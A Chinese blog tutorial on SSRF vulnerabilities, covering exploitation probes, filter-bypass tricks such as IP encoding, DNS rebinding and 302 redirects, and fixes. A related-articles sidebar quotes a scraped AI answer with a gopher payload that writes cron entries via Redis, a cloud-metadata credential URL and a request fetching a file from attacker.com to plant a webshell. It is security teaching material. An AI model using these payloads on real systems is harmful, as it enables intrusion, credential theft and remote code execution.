【漏洞利用】SSRF漏洞挖掘利用、绕过技巧、防御修复详细解析

最新推荐文章于 2025-04-24 15:42:07 发布
最新推荐文章于 2025-04-24 15:42:07 发布
阅读量2.8k 收藏 21
点赞数 3
分类专栏： 网络安全 文章标签： 网络安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_44023442/article/details/113150211
版权

参考文章

概述

总结
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

一、漏洞介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造)

二、漏洞原理

由于服务端提供了从其他服务器应用获取资源的功能，但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求，并返回对该目标地址请求的数据。

数据流：攻击者—>服务器—>目标地址

三、漏洞危害

  • 内网信息泄露（端口、物理路径、配置信息、本地文件泄露等）
  • 内网或本地其他服务收到攻击，（DDos）
  • 穿透防火墙
  • 对内网web应用进行指纹识别，通过访问默认文件实现；

四、利用前提

  • 目标网站获取资源的方式
  • 可以控制目标网站获取指定资源，或向指定站点获取资源
  • 获取指定资源后，顺利通过过滤，成功执行
  • 可以获取过滤后或执行后的内容

五、挖掘利用

1、使用curl会话请求

描述
利用curl会话请求，获取相关地址的资源。

挖掘
因为可以通过GET请求、POST请求等方式，获取用户想要的目标资源，所以该漏洞的挖掘思路只能是判断观察服务器用户什么数据并执行（如给定数据https://www.baidu.com，观察是否访问了百度）
支持的协议dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp

利用
使用http、https等协议，搜寻我们想要的信息。下面以GET型举例

//探测端口、内网IP、等
?curl=http://127.0.0.1:80

//探测服务器物理目录、文件等
?curl=file:///C:/Windows/System32/drivers/etc/hosts

2、file_get_contents()

描述
该函数是用于把文件的内容读入到一个字符串中的首选方法。但是实际情况下，常常会输出它。且该函数时二进制安全的。可以用它获取相关地址的资源。

挖掘
同上。

利用
不明，可以使用file、http、https。

3、fsockopen()

4、SSRF in java

网络请求支持的协议如下：http，https，file，ftp，mailto，jar，netdoc
以下几种类引用不当会造成SSRF ：Request类，URL类的openStream，HttpClient类，URLConnection和HttpURLConnection类，

5、SSRF in python

当使用了Python 的urllib库，请求url为用户可控时，就可能存在ssrf漏洞，且可以通过漏洞python urllib http头注入实现对内网未授权仿问的redis 服务器getshell

6、挖掘方向

  • 分享：通过url地址分享网页内容
  • 转码服务：通过url地址把源地址的网页内容调优使其适合手机屏幕浏览
  • 在线翻译：通过url地址翻译对应文本的内容
  • 能够对外发起网络请求的地方
  • 请求远程服务器资源的地方
  • 图片、文章、文件收藏功能
  • 未公开的api实现以及其他调用url的功能
  • 寻找关键字：share wap url link src source target u 3g display sourceURl imageURL domain（配合谷歌语法寻找）

7、绕过技巧

1.IP限制绕过

locahost绕过
攻击本地地址，过滤掉127.0.0.1的情况下，用locahost替代
[::]绕过
过滤掉locahost，可使用[::]替代
利用@
http://example.com@127.0.0.1
利用短地址
http://dwz.cn/11SMa （这个不太清楚）
进制转换绕过
十进制转换 八进制转换 十六进制转换  不同进制组合转换
例如将192.168.0.1改写成：

8进制格式：0300.0250.0.1
10进制整数格式：3232235521
16进制格式：0xC0.0xA8.0.1
16进制整数格式：0xC0A80001

利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号
127。0。0。1  >>>  127.0.0.1
利用302跳转
如果后端服务器在接收到参数后，正确的解析了URL的host，并且进行了过滤，我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候，例如192.168.0.1.xip.io，就会自动重定向到192.168.0.1。
DNS Rebinding
对于常见的IP限制，后端服务器可能通过下图的流程进行IP过滤
![[Pasted image 20210125224939.png]]
对于用户请求的URL参数，首先服务器端会对其进行DNS解析，然后对于DNS服务器返回的IP地址进行判断，如果在黑名单中，就pass掉。
但是在整个过程中，第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查，利用这个时间差，我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击，我们需要一个域名，并且将这个域名的解析指定到我们自己的DNS Server，在我们的可控的DNS Server上编写解析服务，设置TTL时间为0。这样就可以进行攻击了，完整的攻击流程为：

(1)、服务器端获得URL参数，进行第一次DNS解析，获得了一个非内网的IP

(2)、对于获得的IP进行判断，发现为非黑名单IP，则通过验证

(3)、服务器端对于URL进行访问，由于DNS服务器设置的TTL为0，所以再次进行DNS解析，这一次DNS服务器返回的是内网地址。

(4)、由于已经绕过验证，所以服务器端返回访问内网资源的结果。

2.协议限制绕过

当url协议限定只为http(s)时，可以利用follow redirect 特性
构造302跳转服务，
结合dict:// file:// gopher://

六、修复防范

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求，则请做好目标地址的过滤（黑白名单）。

  • 限制协议为HTTP，HTTPS ，或禁止使用不需要的协议
  • 设置URL白列表或限制内网IP
  • 过滤返回信息
  • 统一错误信息
  • 限制请求的端口为http常用的端口

七、提出问题

ssrf漏洞修复(ssrf漏洞修复方式)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
10-09 4344
区块链去中介化、共识机制、不可篡改的特点，增加数据流转效率，减少成本，实时监控资产的真实情况，保证交易链条各方机构对底层资产的信任问题。在区块链行业，地址追溯是一个相对敏感的话题。当然，地址追溯的方法并不限于以上提到的几点，而能够突破交易所的黑客也必然会使用各种反追溯的手段来应对，包括利用去中心化交易所套现，利用混币/搅拌机等技术手段阻碍追溯等。具体方法是通过区块链浏览器输入可疑地址，查询该地址的交易，从交易结果列表中寻找出大额的资金流向，按照新的流向打开每层地址，逐层深入查询，即可得出大额资金的流向图。
Web安全之SSRF漏洞
墨痕诉清风的博客
03-09 800
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL，Web应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的web应用作为代理攻击远程和本地服务器。
SSRF 漏洞的寻找
WHACKW的专栏
01-04 5703
SSRF 漏洞的寻找 一、从WEB功能上寻找 我们从上面的概述可以看出，SSRF是由于服务端获取其他服务器的相关信息的功能中形成的，因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。 1）分享：通过URL地址分享网页内容 早期分享应用中，为了更好的提供用户体验，WEB应用在分享功能中，通常会获取目标URL地址网页内容中的标签或者标签中content的文本内容作
CTF--file_get_contents
最新发布
2401_83809941的博客
04-24 322
php://input: 允许访问请求的原始数据（POST 请求）允许将数据嵌入到 URL 中，通常用于内联数据（ GET请求）php://filter: 允许对文件内容进行流式过滤。通过get方式传入，$ac和$fn相等才能返回flag。file_get_contents()函数。用于访问压缩文件中的内容。
实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧
dfdhxb995397的博客
05-24 622
在刚结束的互联网安全城市巡回赛中，R师傅凭借丰富的挖洞经验，实现了8家SRC大满贯，获得了第一名的好成绩！R师傅结合自身经验并期许新手小白要多了解各种安全漏洞，并应用到实际操作中，从而丰富自己的挖洞经验，积累挖洞技巧。（文末有R师傅的个人专访，挖洞秘籍尽在其中） 今天i春秋就针对众多安全漏洞中的SSRF进行详细介绍，理论内容结合实际案例进行深度分析，帮助大家快速get新技能！本文阅读用...
SSRF漏洞挖掘的思路与技巧
weixin_34015566的博客
01-18 877
前几天360冰刃实验室的研究员洪祯皓发现了一个Hyper-V的漏洞，由于漏洞危险级别高，影响范围广，微软在确认漏洞细节后第一时间确认奖金并致谢漏洞发现者。 奖金总额高达20万美元约合人民币137万，这也是微软史上送出的最高一笔漏洞挖掘奖励。、 挖漏洞还能拿这么多钱，白帽子们已然坐不住，都想跃跃欲试了，那么今天i春秋与大家分享一篇关于SSR...
聊一聊ssrf漏洞的挖掘思路与技巧
xiaoi123的博客
01-11 1435
本人文学功底较差，只会挖洞，所以此文章的内容除了干货还是干货，如果你看完了还是不会挖ssrf，那可以来找我 前言       什么是ssrf SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应...
SSRF漏洞修复
m0_52796363的博客
11-15 606
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种有攻击者构造形成由服务器端发起请求的一个安全漏洞。攻击者可以利用该漏洞服务器端应用程序向攻击者选择的任意域发出HTTP请求。简单来说两个地址A，B，两个网址都在同一个服务器下，用户只有访问A的权限，通过服务器伪造命令，利用A的权限登录B。
SSRF漏洞（原理、挖掘点、漏洞利用、修复建议）
zxcvbnmasdflzl的博客
07-19 2182
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统)。
SSRF漏洞
安全脑
07-02 1266
漏洞介绍 服务端请求伪造攻击（Server-side Request Forgery）简称SSRF，是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统(正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统)，当WEB应用提供了从其他服务器获取数据的功能，但没有远程服务器地址和远程服务器返回的信息进行合理的验证和过滤，就可能存在SSRF，致使可以利用发起网络请求的服务来攻击其他服务。 SSRF与CSRF的区别 CSRF是服
SSRF 漏洞记录
热门推荐
发哥微课堂
04-02 1万+
0x00：漏洞原理 SSRF（Server-Side Request Forgery）也属于应用层上的一个漏洞类型，用一个最简单的例子来理解这个漏洞：比如一个添加图文的功能，填入标题内容和封面图然后提交在网站前台显示，对于这个功能的图片它除了可以让你上传以外，还支持填入远程图片地址，如果你填入了远程的图片地址，则该网站会加载远程图过来进行显示，而如果程序写法不严谨或者过滤不严格，则加载图片地址的...
红队系列-SRC常用漏洞挖掘技巧
aming小老弟
12-08 1706
安全弱点sql 注入命令 注入深入利用xpath注入 （老式 ） 广泛了解乌云镜像薅羊毛。
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
细谈SSRF漏洞挖掘思路总结！！！
logic1001的博客
03-01 860
SSRF（Server-Side Request Forgery，服务端请求伪造）漏洞通常是由于目标应用程序未正确验证用户输入数据，导致攻击者发送伪造的请求，绕过网络防御，获取敏感信息或利用其他漏洞进行进一步攻击。**0X02常见的漏洞点**
Web 安全漏洞 SSRF 简介及解决方案
weixin_33811539的博客
01-22 1369
Update： 评论区有同学提出通过域名获取 IP 地址时可能遭遇攻击，感谢提醒。本人非安全专业相关人士，了解不多，实在惭愧。 说到 Web 安全，我们前端可能接触较多的是 XSS 和 CSRF。工作原因，在所负责的内部服务中遭遇了SSRF 的困扰，在此记录一下学习过程及解决方案。SSRF（Server-Side Request Forgery），即服务端请求伪造，是一种由攻击者构造形成由服务端...
了解SSRF,这一篇就足够了
lionzl的专栏
09-06 2163
了解SSRF,这一篇就足够了 z3r0yu/2018-03-07 15:09:00/浏览数 8640新手入门资料顶(3)踩(0) 0x00 定义与成因 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发...
SSRF漏洞修复方案
晓川吖的专栏
09-09 7392
SSRF在服务端代码中属于常见的漏洞，关于SSRF漏洞的介绍及攻击方式在网络上都有详细的资料，这两篇就写的非常详细了： SSRF安全指北 - 博客 - 腾讯安全应急响应中心 SSRF Tips | xl7dev 目前互联网企业中的项目，主要以Java项目为主，我们知道在Java语言下，SSRF漏洞的利用场景一般比较有限，很少能通过该漏洞进行文件读取等操作，一般来说能进行漏洞利用的场景如下： 通过访问内网地址对内网服务进行探测、盲打 CRLF注入 利用该接口作为DDOS攻击的一个发起点（可限制访问
漏洞修复-服务端请求伪造（SSRF)
路辉的博客
03-31 2101
点击上方名片关注我，为你带来更多踩坑案例- 什么是SSRF-SSRF(Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从外网无法访问的内部系统，因为服务器请求天然可以穿越防火墙。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做正...
SSRF挖掘思路及案例分析
白帽黑客鹏哥的博客
12-14 1380
服务器端请求伪造（SSRF）是一种网络安全漏洞，其中攻击者迫使服务器向内部或外部系统发出请求。对SSRF的挖掘通常涉及识别和利用那些可能允许攻击者从服务器端发起请求的功能。
SSRF深度利用
03-19
<think>好的，我现在要回答用户关于SSRF漏洞深度利用的问题。首先，我需要回忆SSRF的基本概念和常见利用方法。SSRF是服务器端请求伪造，攻击者可以诱使服务器向内部或外部系统发送恶意请求。用户已经知道一些防护措施，但想深入了解如何深度利用这个漏洞，包括技术细节、攻防实例。 首先，我应该从SSRF的利用链入手，比如如何绕过常见的防护措施。例如，很多系统可能会过滤常见的协议如http、https，但攻击者可以使用其他协议如gopher、file、dict等。需要详细说明这些协议在攻击中的作用，比如gopher协议可以构造任意TCP请求，进而访问内部服务或执行Redis未授权访问攻击。 接下来，要考虑如何利用URL解析差异。不同的编程语言和库对URL的解析可能不一致，比如对@符号、斜杠、域名格式的处理差异。例如，使用http://evil.com@10.0.0.1可能会被解析为访问10.0.0.1，而某些系统可能误认为目标域名是evil.com。这部分需要具体例子，比如PHP的parse_url和Python的urllib在处理上的不同。 然后，需要涉及内网探测和服务指纹识别。攻击者可以通过SSRF扫描内网端口，识别开放的服务，比如Redis、MySQL等，然后进一步攻击。例如，访问http://example.com/ssrf.php?url=127.0.0.1:6379，如果返回特定响应，可能说明Redis服务存在未授权访问。 另外，云环境下的元数据服务也是一个重点。比如AWS的元数据地址是http://169.254.169.254，攻击者通过SSRF获取临时凭证，进而控制云主机。需要给出具体请求示例，并说明如何利用返回的凭证进行后续攻击。 关于协议扩展利用，比如利用CRLF注入到HTTP请求头中，构造恶意请求。例如，使用gopher协议发送一个POST请求，携带恶意数据，攻击内网的FastJSON反序列化漏洞。这部分需要详细步骤，如何构造payload，以及可能遇到的防护措施。 在实例分析部分，可以引用UEditor的漏洞，如引用[3]提到的任意文件上传漏洞，结合SSRF进行攻击。例如，利用SSRF将恶意文件上传到内网系统，然后通过其他漏洞执行代码。需要说明具体的漏洞利用链，如何串联多个漏洞达到攻击效果。 防御方面，除了用户提到的统一规划请求，还需要具体措施，如禁用危险协议、严格校验请求目标、使用白名单等。同时，结合引用[2]提到的补丁比对技术，说明如何通过分析补丁来发现和修复SSRF漏洞。 最后，生成相关问题时要覆盖漏洞挖掘、高级绕过、云环境利用、组合漏洞攻击以及防御策略。确保问题具有针对性，帮助用户进一步学习。 现在需要检查是否有遗漏的技术点，比如DNS重绑定、利用SSRF进行端口扫描的细节，或者如何利用302跳转绕过黑名单。此外，确保每个技术点都有实例或引用支持，比如引用[3]中的例子。同时，注意使用正确的LaTeX格式，虽然SSRF内容可能数学公式较少，但如果有变量或代码，需正确使用$或$$包裹。 总结来说，回答结构应分为利用链构建、协议利用、解析差异、内网探测、云元数据、协议扩展、实例分析，以及防御措施。每个部分都要有具体的技术细节和例子，并适当引用提供的资料。确保内容详细且符合用户要求的深度利用技术。</think>### SSRF漏洞深度利用技术分析 #### 1. **利用链构建与协议扩展** SSRF漏洞的核心在于利用服务器发起非预期请求。攻击者可通过以下方式扩展攻击面： - **多协议利用**：除HTTP/HTTPS外，可利用`gopher`、`file`、`dict`等协议。例如： - `gopher://`可构造任意TCP请求，用于攻击内网Redis服务： ```http gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0aevil_code%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a ``` 此Payload通过Redis未授权访问写入定时任务实现远程代码执行[^3]。 - `file://`协议可读取服务器本地文件（需权限允许），如`file:///etc/passwd`。 - **URL解析差异绕过**：不同语言/库对URL的解析存在差异。例如： - **PHP的`parse_url` vs Python `urllib`**：`http://evil.com@10.0.0.1:8080`在PHP中可能解析目标为`10.0.0.1:8080`，而部分防护逻辑可能误判为`evil.com`。 - **利用畸形的IPv6地址**：`http://[::127.0.0.1]:80/`可能绕过黑名单过滤。 #### 2. **内网探测与服务指纹识别** - **端口扫描**：通过响应时间/状态码判断端口开放情况。例如： ```http http://target.com/ssrf.php?url=http://127.0.0.1:22 ``` 若响应延迟较高且返回连接拒绝，可能表明SSH服务开放。 - **服务指纹识别**：利用`dict`协议获取服务Banner： ```http dict://127.0.0.1:6379/info ``` 可获取Redis版本信息，辅助后续攻击。 #### 3. **云环境元数据滥用** 云主机元数据接口（如AWS的`169.254.169.254`）是SSRF的高价值目标。攻击链示例： 1. 获取临时凭证： ```http http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` 2. 利用凭证调用云服务API，如创建后门用户或下载敏感数据。 #### 4. **协议扩展与CRLF注入** 结合CRLF（回车换行）注入构造恶意请求头： ```http http://example.com/ssrf?url=http://internal-api.com/%0D%0AX-Forwarded-For:%20127.0.0.1%0D%0A ``` 此请求可能绕过IP校验，并伪造来源IP访问内部接口。 #### 5. **实例：UEditor编辑器组合利用** 参考UEditor文件上传漏洞[^3]，攻击链可设计为： 1. 利用SSRF访问内网UEditor的`controller.jsp`接口： ```http http://internal-server/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://attacker.com/malicious.jpg ``` 2. 通过伪造图片URL触发远程下载，结合文件上传漏洞写入Webshell。 #### 6. **防御措施** - **协议白名单**：仅允许HTTP/HTTPS，禁用`gopher`、`file`等危险协议。 - **请求目标校验**：使用正则严格校验域名格式（如禁止IP地址、保留字）。 - **网络隔离**：限制服务器出站流量，禁止访问元数据接口和内网敏感段。 - **补丁管理**：参考补丁比对技术[^2]，及时修复解析逻辑漏洞。 --- ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值